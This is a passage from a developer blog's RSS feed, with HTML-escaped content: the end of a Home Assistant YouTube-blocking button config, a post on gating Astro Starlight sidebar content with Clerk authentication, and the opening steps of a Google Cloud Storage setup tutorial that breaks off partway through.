&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;Block YouTube&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  - &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;show_name&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;true&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;show_icon&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;true&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;button&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;tap_action&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;action&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;call-service&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;service&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;script.unblock_youtube&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;Unblock YouTube&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;icon&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;mdi:youtube&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;</content:encoded></item><item><title>Customizing Astro Starlight Sidebar for Gated Content with Authentication</title><link>https://lirantal.com/blog/customizing-astro-starlight-sidebar-gated-content-auth/</link><guid>https://lirantal.com/blog/customizing-astro-starlight-sidebar-gated-content-auth/</guid><description>Learn how I got the Starlight documentation framework in Astro to create a gated content website with authentication for my Bun Security course</description><pubDate>Mon, 06 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The Astro framework powers this personal blog, my &lt;a href=&quot;https://www.nodejs-security.com&quot;&gt;Node.js Secure Coding&lt;/a&gt; website, and now my newly launched &lt;a href=&quot;https://bunsecurity.dev&quot;&gt;Bun Security&lt;/a&gt; website. I’ve been using Astro for a while now and I’m a big fan of the framework. It’s fast, it’s simple, and it’s a joy to work with.&lt;/p&gt;
&lt;p&gt;For the Bun Security course, because this is an online self-paced educational content, I settled on using Starlight as the documentation framework. Starlight is a static site generator that’s built on top of Astro, and it comes with pre-built components, layout and design that provides a UI for documentation websites and that fits well with course content too.&lt;/p&gt;
&lt;p&gt;Specifically for the Bun Security course, I wanted to created a mix of open content about news and security topics for the Bun server-side JavaScript runtime, but also to have gated content which makes up the course material. This is where things get a bit more interesting and require some customization to get this working.&lt;/p&gt;
&lt;p&gt;So to set us off for the rest of this Astro Starlight customization journey, we’re going to leverage the following parts:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Astro as the foundational framework that powers the website&lt;/li&gt;
&lt;li&gt;Starlight as the documentation framework that provides the UI and layout to put content in&lt;/li&gt;
&lt;li&gt;Clerk as the authentication provider that will be used to decide on access to the gated content&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Next up, the customizable part of Starlight are going to be the sidebar items which we don’t want to just publicly show and have pre-generated but rather generate the content via server-side rendering (so we can decide on access to the content based on the user’s authentication status), and the ability to customize Starlight’s sidebar to get granular control of the sidebar items (allows us to decide whether to show the chapter name and the sub-chapters or not).&lt;/p&gt;
&lt;p&gt;Let’s begin.&lt;/p&gt;
&lt;h2 id=&quot;astros-starlight-configuration&quot;&gt;Astro’s Starlight configuration&lt;/h2&gt;
&lt;p&gt;The following is my stock configuration for the Starlight integration part of Astro:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;starlight&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      prerender: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      title: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Bun Security Essentials | Course&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      sidebar: [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;          label: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Getting started&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;          autogenerate: { directory: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;course/getting-started&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;          label: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Bun Security Introduction&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;          autogenerate: { directory: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;course/introduction&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;//&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// ... more chapters go here...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;//&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;          label: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;👉 &quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;          link: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;/&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;          badge: { text: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Buy the Course&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, variant: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;note&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      ],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      social: [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        { icon: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;github&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, label: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;GitHub&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, href: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;https://github.com/lirantal&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      ],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      disable404Route: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      customCss: [&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;./src/assets/styles/starlight.css&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      favicon: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;/favicon.ico&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      components: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        SiteTitle: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;./src/components/ui/starlight/SiteTitle.astro&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        Sidebar: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;./src/components/ui/starlight/Sidebar.astro&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    }),&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In the above, I’ll call out the two important parts:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;prerender&lt;/code&gt; option has to be set to &lt;code&gt;false&lt;/code&gt; so that we can control the sidebar items and generate them dynamically and also generate the actual site’s content dynamically based on the user’s authentication status.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;Sidebar&lt;/code&gt; component override which allows to customize the sidebar items and generate them dynamically.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;customizing-the-starlight-sidebar&quot;&gt;Customizing the Starlight Sidebar&lt;/h2&gt;
&lt;p&gt;The Sidebar component is where we can decide which content to render for the sidebar items and we’re going to use the Clerk authentication SDK to do so based on the user’s authentication status.&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;---&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; Default &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;@astrojs/starlight/components/Sidebar.astro&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; Astro.locals.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;currentUser&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;sidebar&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; Astro.locals.starlightRoute;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;strippedSidebar&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; sidebar.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;filter&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;((&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;entry&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;allowedEntries&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;Getting started&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  ]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; ((entry.type &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;group&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; entry.type &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;link&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; allowedEntries.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;includes&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(entry.label)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (user) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    entry.label &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`[Locked]`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    entry.entries &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; [];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    entry.badge &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      text: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Get Full Course&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      variant: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;tip&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Astro.locals.starlightRoute.sidebar &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; strippedSidebar;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;---&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;Default&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;user&lt;/code&gt; variable information is available due to the Clerk integration and the middleware that gets used as part of the Clerk setup into an Astro project.&lt;/p&gt;
&lt;p&gt;Next up, we create our own instance of &lt;code&gt;strippedSidebar&lt;/code&gt; which is made up of our own logic (authentication based) on how to render the items for the sidebar. In this case, we’re only allowing the “Getting started” chapter to be publicly available, and the rest of the chapters are gated behind the authentication.&lt;/p&gt;
&lt;h2 id=&quot;how-does-it-look&quot;&gt;How does it look?&lt;/h2&gt;
&lt;p&gt;Here is a screenshot of the Starlight sidebar with the customization applied so you can get a visual. This is from my &lt;a href=&quot;https://bunsecurity.dev&quot;&gt;Bun Security&lt;/a&gt; website:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/custom-astro-starlight-sidebar-for-gated-content-with-auth.png&quot; alt=&quot;bun security website with custom Starlight sidebar&quot;&gt;&lt;/p&gt;</content:encoded></item><item><title>How to Setup Google Cloud Project and Store Images in Google Cloud</title><link>https://lirantal.com/blog/how-to-setup-google-cloud-project-and-store-images-in-google-cloud/</link><guid>https://lirantal.com/blog/how-to-setup-google-cloud-project-and-store-images-in-google-cloud/</guid><description>Step-by-step tutorial on configuring a Google Cloud project and storing images in Google Cloud Storage.</description><pubDate>Sat, 21 Dec 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In this write-up I will describe how to setup a Google Cloud project (on GCP) and use it to store images in Google Cloud Storage. If you’re looking into storing uploaded images via an S3-like alternative with Google through a step-by-step tutorial and this is a write-up for you.&lt;/p&gt;
&lt;h2 id=&quot;init-a-new-google-cloud-project-with-the-glcoud-cli&quot;&gt;Init a new Google Cloud project with the &lt;code&gt;glcoud&lt;/code&gt; CLI&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;ol&gt;
&lt;li&gt;Install the &lt;code&gt;gcloud&lt;/code&gt; CLI&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;Initiate a new project:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;gcloud projects create credster --name=&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Credster project&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; --labels=type=credster&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;Set the active project from now on to the rest of the usage for &lt;code&gt;gcloud&lt;/code&gt;:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;gcloud config &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; project PROJECT_ID&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;ol start=&quot;4&quot;&gt;
&lt;li&gt;
&lt;p&gt;Link the project to a billing account so you can open up APIs. This has to be done from the UI as follows:&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
